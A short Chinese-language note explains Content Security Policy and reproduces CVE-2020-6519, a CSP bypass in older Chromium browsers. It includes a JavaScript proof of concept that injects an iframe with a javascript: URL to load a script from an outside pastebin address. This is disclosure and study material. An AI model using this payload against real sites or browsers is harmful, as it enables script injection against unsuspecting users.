csp简介
CSP 的主要目标是减少和报告 XSS 攻击 ,XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行,因为浏览器信任其内容来源,即使有的时候这些脚本并非来自于它本该来的地方。CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行;
CVE-2020-6519
影响范围
内核 <= 84.0.4147.89 基于Chromium实现的浏览器,包括Chrome,windows Edge,不限平台
复现
在设置如下的csp策略时
<meta http-equiv="Content-Security-Policy" content="object-src 'none'; child-src 'none'; script-src 'self' 'unsafe-inline'">
设置如下的script标签,是无法运行的
因为csp的策略,导致无法加载非本服务器的js脚本。
绕过方法,可以使用iframe标签,src为javascript协议去绕过csp策略。如图
top._CVE_URL='https://pastebin.com/raw/dw5cWGK6'
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'>;</iframe>"
完成poc
https://github.com/PerimeterX/CVE-2020-6519/tree/master/POC
参考
https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/